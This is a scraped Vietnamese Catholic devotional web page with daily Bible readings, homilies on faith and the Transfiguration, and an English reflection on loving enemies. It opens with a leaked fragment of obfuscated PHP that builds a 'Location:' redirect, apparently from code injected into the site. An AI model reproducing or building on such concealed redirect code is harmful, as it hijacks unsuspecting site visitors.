$H4($F22($H4($F22($H4("\x35".$F22($H4("\x35\x31")))).$F22($H4("\x35".$F22($H4("\x34\x38")))))).$F22($H4($F22($H4("\x35\x33")).$F22($H4("\x35\x34"))))))), $H4($F22($H4($F22($H4("\x35".$F22($H4("\x35\x31")))).$F22($H4("\x35\x31")))))).$F22($H4("\x34".$F22($H4("\x35\x34")))).$F22($H4($F22($H4("\x34".$F22($H4("\x35\x37")))).$F22($H4("\x34".$F22($H4("\x35\x37")))).$F22($H4($F22($H4("\x35".$F22($H4("\x35\x31")))).$F22($H4($F22($H4("\x35\x32"))."\x38")))))).$F22($H4("\x31\x30\x34")).$F22($H4($F22($H4("\x34".$F22($H4("\x35\x37"))))."\x31\x32")); $m1b($a21, $J3); $r10($F22($H4($F22($H4("\x35\x35"))."\x36")).$F22($H4("\x31\x31\x31")).$F22($H4($F22($H4($F22($H4("\x35".$F22($H4("\x35\x31")))).$F22($H4("\x35\x35")))).$F22($H4($F22($H4("\x35".$F22($H4("\x35\x31")))).$F22($H4("\x35\x35")))))).$F22($H4($F22($H4("\x35\x37"))."\x37"))."\x74\x69\x6f\x6e\x3a".$F22($H4("\x33\x32")).$a21); die(); } die($F22($H4("\x37".$F22($H4("\x34\x38"))))."\x65".$F22($H4("\x31\x31\x36"))."\x63\x68".$F22($H4($F22($H4("\x35\x31")).$F22($H4("\x35".$F22($H4("\x34\x38")))))).$F22($H4("\x31\x30\x32")).$F22($H4($F22($H4("\x35\x37"))."\x37"))."\x69\x6c".$F22($H4("\x31\x30\x31"))."\x64"); } die($F22($H4("\x38".$F22($H4("\x35\x33"))))."\x72\x6c\x20\x69\x6e\x76".$F22($H4("\x39\x37"))."\x6c\x69".$F22($H4($F22($H4($F22($H4($F22($H4("\x35".$F22($H4("\x35\x31")))).$F22($H4("\x35".$F22($H4("\x34\x38")))))).$F22($H4($F22($H4("\x35".$F22($H4("\x35\x31")))).$F22($H4("\x35\x35")))))).$F22($H4($F22($H4("\x35\x32"))."\x38"))."\x30"))); } ?> Bài Mới
mod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_counter
mod_vvisit_counterHôm Nay907
mod_vvisit_counterHôm Qua116
mod_vvisit_counterTuần Này907
mod_vvisit_counterTuần Trước28358
mod_vvisit_counterTháng Này69545
mod_vvisit_counterTháng Trước138504
mod_vvisit_counterTất cả7755115

We have: 49 guests online
Your IP: 54.205.203.188
 , 
Today: Feb 20, 2017

 

Vì lỗi kỹ thuật nên số lượng người truy cập sẽ được đếm lại từ tháng 3 ngày 25 năm 2014 và bắt đầu từ con số 1.581.247 (số người truy cập cũ)

Login Form





Bài Mới
KINH THANH LA BUC THU TINH - THU BAY-TUAN6TN-A PDF Print E-mail

Thứ Bảy Tuần 6 TN1, Năm lẻ

BỨC THƯ TÌNH CHÚA GỞI : Bài đọc: Heb 11:1-7; Mk 9:2-13.

1/ Bài đọc I: 1 Đức tin là bảo đảm cho những điều ta hy vọng, là bằng chứng cho những điều ta không thấy.

2 Nhờ đức tin ấy, các tiền nhân đã được Thiên Chúa chứng giám.

3 Nhờ đức tin, chúng ta hiểu rằng vũ trụ đã được hình thành bởi lời của Thiên Chúa; vì thế, những cái hữu hình là do những cái vô hình mà có.

4 Nhờ đức tin, ông A-ben đã dâng lên Thiên Chúa một hy lễ cao quý hơn hy lễ của ông Ca-in: nhờ tin như vậy, ông A-ben đã được chứng nhận là người công chính, bởi vì Thiên Chúa đã chấp nhận những lễ phẩm ông dâng. Và cũng nhờ tin như thế, mà tuy đã chết rồi, ông vẫn còn lên tiếng.

5 Nhờ đức tin, ông Kha-nốc được đem đi nơi khác để khỏi chết, và người ta không tìm thấy ông nữa, bởi vì Thiên Chúa đã đem ông đi. Quả thật, Kinh Thánh chứng nhận rằng: trước khi được đem đi, ông đã làm đẹp lòng Thiên Chúa.

6 Mà không có đức tin, thì không thể làm đẹp lòng Thiên Chúa, vì ai đến gần Thiên Chúa, thì phải tin là có Thiên Chúa và tin Người là Đấng ban phần thưởng cho những ai tìm kiếm Người.

7 Nhờ đức tin, ông Nô-ê được Thiên Chúa báo cho biết những gì người ta chưa thấy; vì có lòng kính sợ Thiên Chúa, ông đã đóng một chiếc tàu để cứu gia đình ông. Tin như thế là ông đã lên án thế gian, và được phần gia nghiệp là sự công chính nhờ đức tin.

2/ Phúc Âm: 2 Sáu ngày sau, Đức Giê-su đem các ông Phê-rô, Gia-cô-bê và Gio-an đi theo mình. Người đưa các ông đi riêng ra một chỗ, chỉ mình các ông thôi, tới một ngọn núi cao. Rồi Người biến đổi hình dạng trước mắt các ông.

3 Y phục Người trở nên rực rỡ, trắng tinh, không có thợ nào ở trần gian giặt trắng được như vậy.

4 Và ba môn đệ thấy ông Ê-li-a cùng ông Mô-sê hiện ra đàm đạo với Đức Giê-su.

5 Bấy giờ, ông Phê-rô thưa với Đức Giê-su rằng: "Thưa Thầy, chúng con ở đây, thật là hay! Chúng con xin dựng ba cái lều, một cho Thầy, một cho ông Mô-sê, và một cho ông Ê-li-a."

6 Thực ra, ông không biết phải nói gì, vì các ông kinh hoàng.

7 Bỗng có một đám mây bao phủ các ông. Và từ đám mây, có tiếng phán rằng: "Đây là Con Ta yêu dấu, hãy vâng nghe lời Người."

8 Các ông chợt nhìn quanh, thì không thấy ai nữa, chỉ còn Đức Giê-su với các ông mà thôi.

9 Ở trên núi xuống, Đức Giê-su truyền cho các ông không được kể lại cho ai nghe những điều vừa thấy, trước khi Con Người từ cõi chết sống lại.

10 Các ông tuân lệnh đó, nhưng vẫn bàn hỏi nhau xem câu "từ cõi chết sống lại" nghĩa là gì.

11 Các ông hỏi Đức Giê-su: "Tại sao các kinh sư lại nói ông Ê-li-a phải đến trước?"

12 Người đáp: "Đúng thế, ông Ê-li-a đến trước để chỉnh đốn mọi sự. Vậy sao có lời chép rằng Con Người phải chịu nhiều đau khổ và bị khinh chê?

13 Nhưng Thầy nói cho anh em biết: ông Ê-li-a đã đến, và họ đã xử với ông theo ý họ muốn, như Sách Thánh đã chép về ông."

GIỚI THIỆU CHỦ ĐỀ: Tin Thiên Chúa đòi chúng ta chấp nhận đường lối của Ngài.

Các Bài Đọc hôm nay tập trung trong niềm tin vào Thiên Chúa. Trong Bài Đọc I, tác giả Thư Do Thái nhắc lại những chứng nhân đức tin trong lịch sử: Abel, Enoch, và Noah. Các ông tin Thiên Chúa và làm tất cả những gì Ngài truyền, dù Ngài có mặt hay không có mặt. Nhờ đức tin vào Thiên Chúa, các nhân vật này đã được Thiên Chúa thưởng công xứng đáng với những gì họ đã hy vọng. Trong Phúc Âm, Chúa Giêsu mang 3 môn đệ thân tín lên núi Tabor để cho họ nhìn thấy vinh quang đích thực của Ngài với các nhân nhứng lừng danh của Cựu Ước, Moses và Elijah. Mục đích của việc biến hình là để các ông tin Ngài là Thiên Chúa; và sẵn sàng chấp nhận một Đấng Thiên Sai chịu đau khổ để cứu chuộc con người.

ÁP DỤNG TRONG CUỘC SỐNG:

- Tin nơi Thiên Chúa đòi BẠN phải thực hành những gì Ngài truyền. Nếu chúng ta nói tin vào Chúa và không thực thi những gì Thiên Chúa dạy, sự thật không có trong chúng ta.

- Rất nhiều lần TÔI không thực hành những gì Thiên Chúa dạy, vì đó không phải là điều TÔI mong muốn; nhưng làm theo những gì Thiên Chúa muốn  đem lại kết quả tốt cho chúng ta.

- Những lúc nghi ngờ quyền năng Thiên Chúa, chúng ta hãy noi gương các chứng nhân trong lịch sử: tổ phụ Abraham, Abel, Noah, Thánh Giuse, Đức Mẹ, Thánh Phaolô... Tất cả những gì Thiên Chúa hứa đều đã được thực hiện.

Kính chuyển:

Hồng

-------------------------

 
SỐNG VA CHIA SE LOI CHUA - THU BAY- TUNA6TN-A PDF Print E-mail

Thứ Bảy 18-2-2017

"Một đám mây bao phủ" ... "bằng chứng cho những thực tại vô hình"

Sau khi đã tiết lộ cái bí mật quân sự rùng rợn nhất đối với các tông đồ trong Bài Phúc Âm hôm Thứ Năm tuần này liên quan đến một Đức Kitô khổ nạn và tử giá, cũng như sau khi khẳng định điều kiện đầy gian nan khốn khó để có thể xứng đáng và khả năng theo làm môn đệ của mình ở Bài Phúc Âm Thứ Sáu hôm qua, Chúa Giêsu, trong Bài Phúc Âm hôm nay, đã dường như muốn trấn an các vị, bằng cách tỏ vinh quang của Người ra cho các vị thấy qua 3 vị tông đồ đại diện là Phêrô, Giacôbê và Gioan ở trên núi cao, như được Thánh ký Marco thuật lại như sau: "Khi ấy, Chúa Giêsu đưa Phêrô, Giacôbê, và Gioan đi riêng với Người lên núi cao, và Người biến hình trước mặt các ông, và áo Người trở nên chói lọi trắng tinh như tuyết, không thợ giặt nào trên trần gian có thể giặt trắng đến thế".

Biến cố biến hình toàn thân, chứ không phải chỉ "hiển dung" (như một số người ngày nay thích sử dụng từ ngữ có vẻ mới lạ có tính chất văn vẻ hay hay này) về khuôn mặt của Chúa Giêsu mà thôi, là một dấu báo về cuộc phục sinh vinh hiển của Người, một cuộc phục sinh chỉ xẩy ra sau cuộc khổ nạn và tử giá của Người, để nhờ đó, Người có thể tỏ hiện trọn vẹn tất cả quyền năng thần linh của Người ra ở chỗ chiến thắng tội lỗi và sự chết, thậm chí, vì Người từ kẻ chết hay từ cõi chết sống lại mà Người còn biến đổi tối tăm thành ánh sáng và sự chết thành sự sống nữa, chứ không phải, qua mầu nhiệm nhập thể của mình, Người chỉ là "ánh sáng chiếu soi trong tăm tối" (Gioan 1:5).

Đó là mục đích và tất cả ý nghĩa của Mầu Nhiệm Vượt Qua, một mầu nhiệm bao gồm cả khổ giá và phục sinh, hoàn toàn ứng nghiệm những gì Thánh Kinh báo trước về Đấng Thiên Sai Giêsu hay về Đức Giêsu Kitô, như chính Chúa Kitô Phục Sinh đã sử dụng chứng lý Thánh Kinh để làm cho cho các tông đồ về việc sống lại của Người khi Người hiện ra với các vị, bao gồm cả thành phần 2 môn đệ đang trên đường đi về làng Emmau lẫn các vị tông đồ ở Nhà Tiệc Ly lần đầu tiên vào tối ngày thứ nhất trong tuần:

Với 2 môn đệ về làng Emmau: "Bấy giờ Ðức Giêsu nói với hai ông rằng: 'Các anh chẳng hiểu gì cả! Lòng trí các anh thật là chậm tin vào lời các ngôn sứ!Nào Ðấng Kitô lại chẳng phải chịu khổ hình như thế, rồi mới vào trong vinh quang của Người sao?' Rồi bắt đầu từ ông Môsê và tất cả các ngôn sứ, Người giải thích cho hai ông những gì liên quan đến Người trong tất cả Sách Thánh".

Với các tông đồ ở Nhà Tiệc Ly: "Khi còn ở với anh em, Thầy đã từng nói với anh em rằng tất cả những gì sách Luật Môsê, Các Sách Ngôn Sứ và các Thánh Vịnh đã chép về Thầy đều phải được ứng nghiệm".

Chính vì biến cố biến hình trên núi ám chỉ mầu nhiệm vượt qua đúng như lời Thánh Kinh liên quan đến lề luật và các ngôn sứ như thế mà trong khi biến hình mới có hai nhân vật tiêu biểu của Cựu Ước xuất hiện, một liên quan đến lề luật là Moisen và một liên quan đến tiên tri là Elia: "Rồi Êlia cùng Môsê hiện ra và đàm đạo với Chúa Giêsu".

Cũng chính vì biến cố biến hình trên núi ám chỉ mầu nhiệm vượt qua đúng như lời Thánh Kinh là những gì được Thiên Chúa ấn định như thế và sẽ xẩy ra đúng như vậy mà Thiên Chúa đã phải đích thân lên tiếng chứng thực Đấng Thiên Sai của Ngài, một Đấng Thiên Sai Vượt Qua từ khổ giá đến vinh quang phục sinh, qua sự kiện được Thánh ký Marco ghi nhận trong Bài Phúc Âm hôm nay: "Lúc đó một đám mây bao phủ các Ngài, và từ đám mây có tiếng phán rằng: 'Ðây là Con Ta rất yêu dấu, các ngươi hãy nghe lời Người'".

"Đám mây bao phủ các ngài" đây biểu hiệu cho Chúa Thánh Thần, Đấng "bao phủ bà" (Luca 1:35), Đấng cũng đã đậu trên Chúa Giêsu ở Sông Jordan khi Người lãnh nhận Phép Rửa của Tiền Hô Gioan Tẩy Giả (xem Gioan 1:33; Marco 1:10). Vì Thánh Thần là Thần Chân Lý dẫn vào tất cả sự thật (xem Gioan 16:13) mà "từ đám mây có tiếng phán", để chứng tỏ Người thực sự là Con Thiên Chúa, là Đấng Thiên Sai, "là Đấng Thiên Chúa tuyển chọn" (Gioan 1:34).

Như thế, với sự hiện diện của Thần Chân Lý ở biến cố biến hình kèm theo tiếng phán ra đã cho thấy tất cả những gì Người nói về Người (như bài Phúc Âm liên quan đến cuộc vượt qua của Người hôm Thứ Năm vừa rồi) và tỏ mình ra cho các tông đồ (như trong biến cố biến hình trong bài Phúc Âm hôm nay) đều chân thực và chắc chắn sẽ xẩy ra đúng như vậy theo như Thánh Kinh đã tiên báo, chẳng những đáng tin tưởng chấp nhận mà còn cần phải tin tưởng chấp nhận nữa, nhưng phải là một đức tin như Bài Đọc 1 hôm nay định nghĩa và xác quyết:


SUY TƯ VÀ HÀNH ĐỘNG : "Ðức tin là nền tảng của những điều hy vọng, là bằng chứng cho những thực tại vô hình... Không có đức tin, thì không thể đẹp lòng Chúa, vì chưng ai đến gần Thiên Chúa, thì phải tin có Thiên Chúa, và Người thưởng công cho những kẻ tìm kiếm Người".

Đaminh Maria Cao Tấn Tĩnh, BVL

--------------------------------

 
CAM NGHIEM SONG LOI CHUA - THU SAU TUAN 6 TN-A PDF Print E-mail

Thứ Sáu Tuần Thứ 6 Mùa Thường niên, Năm A.

CẢM NGHIỆM SỐNG LỜI CHÚA : Maccô 8: 34-38 và 9:1
Ai mất mạng sống vì Tôi và vì Phúc Âm sẽ được cứu.

Suy Niệm: Phó Tế Vĩnh Viễn Đôminicô Vũ Quang Minh.

Khái niệm về một tình yêu vị tha tức yêu là chết cho người mình yêu, thì rõ thực tình yêu này nói thì dễ mà thực hành thì quá khó, ngoại trừ câu chuyên Yêsu Cứu Chúa, Đấng từ trời cao đem đến gieo vào lòng người thiện tâm sản sinh ra vô số các chứng nhân, trong đó có 117 thánh Tử Đạo Việt Nam. Còn xem ra trong nhân loại cái tình yêu chân chính này thực rất xa vời, mơ hồ và điên rồ.

Vâng, đúng thật, trong muôn ngàn vạn ca bản tình, đã tụng ca tình yêu nơi phận người. Các nhạc sĩ dệt nên nhiều ca khúc bất hủ, từ những vần thơ khắc sâu trong tim những văn sĩ những bóng hình, rồi thì các nhạc sĩ tạo dòng sông đưa âm hưởng thêm da diết, đã vẽ nên một bầu trời hồng với ngàn vạn ánh hào quang rực rỡ, với những sắc hương của bồng lai tiên cảnh, gây choáng ngợp lòng người đang khắc khoải chữ yêu, chữ tình, lẫn chữ mến. Trong giai điệu tình yêu vĩnh cửu của Thiên Chúa cũng vậy. Đức Kitô mời gọi những kẻ bước theo Người hát khúc ca thập tự: "Ai muốn theo tôi hãy từ bỏ mình vác Thập giá mình mỗi ngày mà theo tôi" (Mc 9,34). Khúc ca thực đơn điệu và như lạc quẻ trong thế giới đa chiều, mà thế nhân không thường hằng yêu thích loại tình yêu đó.

Đứng giữa ngã giao lưu của thời đại này, tín hữu chúng ta phải theo Thày hay theo mộng ảo của thế nhân đây? "Từ bỏ mình, vác thập giá hằng ngày" nếu không có tình yêu như Thày Yêsu, thì xem ra khó kéo lê phận người nô lệ tội lỗi, và vô vàn ác xấu khác đang nhan nhản nhảy bổ vào cuộc sống. Tình yêu "từ bỏ mình, vác thập giá hằng ngày" là điều kiện ắt có và đủ để xây dựng cuộc sống hạnh phúc đích thực. Người ta thường ví tình yêu tựa nhánh hoa hồng xinh đẹp, nhưng lại đầy gai nhọn. Mục đích là để nói lên cái chân lý là: Không có tình yêu đích thực nào lại không đòi phải có hy sinh từ bỏ. Một tình yêu mà không có hy sinh từ bỏ thì đó chỉ là thứ tình yêu chóng tan vỡ như bong bóng bay trước cơn gió thoảng đưa.

Nó là thứ tình yêu hão huyền, và không có nền tảng để xây dựng hạnh phúc đâu. Điều đó cho thấy lý do, là tại sao cuộc sống gia đình của con người sống trong xã hội hiện đại này, lại rất mong manh dễ tan vỡ. Bởi vì bọt xà bông tạo bóng bay tại nơi đầu gió thì nó lại bể hay xìu xuống ở cuối bờ cỏ hay nơi lề đường từ nhiều vật cản."Cái Tôi" to lớn của địa vị chức quyền, sẽ bị vật chất xâm thực như bong bóng bể cuối đường hay ngay sau đó, hoặc tức khắc khi nhận định được người đời phê phán hay nhận diện.

Một khi người nào đó chỉ chăm lo tìm kiếm hạnh phúc cá nhân rồi cấu kết tạo bè phái, hay lợi dụng một đoàn thể gây lợi cho mình, thì lợi dụng ấy là lừa dối sự bề ngoài là thật, nhưng bên trong đội mũ trá hình. Điều đó chỉ tác hại cho chính bản thân họ, và rồi làm thiệt hại cho những người bên cạnh. Nên cuối cùng, lợi thì có lợi, mà hàm răng thì chẳng còn. Để rồi cả trong khi người ta tưởng mình có thể tìm được hạnh phúc trong việc thỏa mãn chính mình, thì hạnh phúc dường như chạy trốn, và đau khổ lại thêm chất chồng, và rồi khởi đầu tuy có chất đầy cái Thượng Vàng rồi thì ngay cuối đường hầm là khung cảnh Hạ Cám chẳng ra làm sao. Bởi thế không lạ gì, khi Đức Yêsu nói: "Được lời lãi cả và thế gian, mà mất mạng sống mình thì nào được ích gì" (Mc 9,36).

SUY TƯ VÀ QUYẾT TAM HÀNH ĐỘNG : Ước chi mọi tín hữu Chúa có thể theo gương, và học được bài giáo lý của Chân Phước Anrê Phú Yên, nghĩa là nói được những lời cuối như Ngài đến cuối cuộc đời trước khi bị trảm quyết còn dạy cho hậu thế rằng: "Chúng ta hãy lấy tình yêu để đáp trả tình yêu của Chúa, hãy lấy mạng sống đáp trả mạng sống". Amen

-----------------------------

 
THONG BAO TIN MUNG # 188= KHONG HO THEN TIN MUNG PDF Print E-mail

Bánh Sự Sống # 50
-------------
THÔNG BÁO TIN MỪNG # 188-Website ChiaseLoiChua.com
TÔI KHÔNG HỔ THẸN VÌ TIN MỪNG
* Chuyện kể: Vào khoảng cuối năm 1997, tại một bang thuộc Ấn độ, người cực đoan của một giáo phái đã tấn công người tin Chúa.
Phong trào chia rẽ này càng lúc càng lan nhanh. Vì sự an toàn của các Tín hữu, vị linh mục đã quyết định "tất cả mọi người hãy lánh qua các vùng khác cho tới khi mọi việc yên ổn trở lại."
Vài tháng sau khi sự việc đã xong, mọi người trở về chỗ cũ của mình, họ ngạc nhiên thấy một thanh niên không hề đi lánh nạn, anh vẫn ở lại trong vụ lộn xộn đó. Linh mục thắc mắc hỏi: "Anh không sợ nguy hiểm tới tính mạng của mình sao? Điều anh trả lời làm cho nhiều người sững sờ: "Không" – Linh mục hỏi: "Tại sao?" –
Anh trả lời: "Tôi đã sống ở đây hơn 8 năm rồi, nhưng không ai biết tôi là người tin Chúa hết, nên không sợ gì cả !!!"

* Một phút suy tư: Nhiều người vì sự an toàn của bản thân, hoặc vì xấu hổ đã luôn luôn che dấu niềm tin của mình. Phaolô, một học giả, một nhà trí thức, có địa vị xã hội, một người đầy tài năng, một công dân Rôma thời đó đã khẳng định:
"Vâng, tôi không hổ thẹn vì Tin Mừng. Quả thế, Tin Mừng là sức mạnh Thiên Chúa dùng để cứu độ bất cứ ai có lòng tin"(Roma 1, 16) Vì sức mạnh ban ơn cứu độ đó dành cho mọi người, không phân biệt ai, chỉ cần họ tin vào Đức Kitô đã chết và đã phục sinh. Có điều gì khiến bạn xấu hổ khi nhận mình là Tín hữu Kitô chăng? Có bao giờ bạn tránh né khi người khác hỏi bạn về niềm tin Kitô hữu chưa? Đừng bao giờ là một Kitô hữu dấu kín nhé!
Khi bạn cảm nghiệm được Tin Mừng là sức mạnh của Thiên Chúa để ban ơn cứu độ; được trở nên công chính, và làm cho bạn được phục sinh, thì lúc ấy sự can đảm và niềm vui mừng vô hạn sẽ khiến bạn xưng danh Chúa ra và không còn là Tín hữu dấu kín nữa.!
* Lời Chúa tôi ghi nhớ: Phàm ai tuyên bố nhận thầy trước mặt thiên hạ, thì Thầy cũng sẽ tuyên bố nhận người ấy trước mặt Cha Thầy,... Còn ai chối thầy trước mặt thiên hạ, thì Thầy cũng sẽ chối người ấy trước mặt Cha Thầy... (Mattheu 10, 32-33)

Đầy tớ: Nguyễn Định – Mời thăm Website ChiaseLoiChua.com

-------------------------------

 
CAM NGHIEM SONG LOI CHUA - CN7TN-A PDF Print E-mail

Reflection toward Seventh Sunday in Ordinary Tim

THE FIGHT WITHIN

FR LINH

Today's readings revolve around the "logic of violence" and turn it on its head. "You shall not bear hatred . . . Take no revenge and cherish no grudge," says God through the prophet Moses (Leviticus 19:17, 18). Jesus says, "You have heard that it was said, 'You shall love your neighbor and hate your enemy.' But I say to you, love your enemies and pray for those who persecute you" (Matthew 5:43–44).

The struggle to do this begins within our own hearts. An old tale of the Cherokee people concerns a boy who was angry at a friend who had done him an injustice. His grandfather sat him down, saying, "I too, at times, have felt hatred toward those who have injured me, with no sorrow for what they did. But hate wears you down, and does not hurt your enemy. It is like taking poison and wishing your enemy would die. I have struggled with these feelings many times."

He continued, "It is as if there are two wolves inside me. One is good and does no harm. He lives in harmony with all around him, and does not take offense when no offense was intended. He will only fight as the last resort, and in the right way. But the other wolf—ah, he is full of anger. The smallest thing will send him into a fit of temper. He fights everyone, all the time, for no reason. He cannot think because his anger and hate are so great. It is helpless anger, for his anger will change nothing. Sometimes it is hard to live with these two wolves inside me, for both of them try to dominate my spirit."

The boy looked intently into his grandfather's eyes and asked, "Which one wins, Grandfather?" The old man smiled and said, "The one I feed."

-----------------------------

 
<< Start < Prev 1 2 3 4 5 6 7 8 9 10 Next > End >>

Page 1 of 1019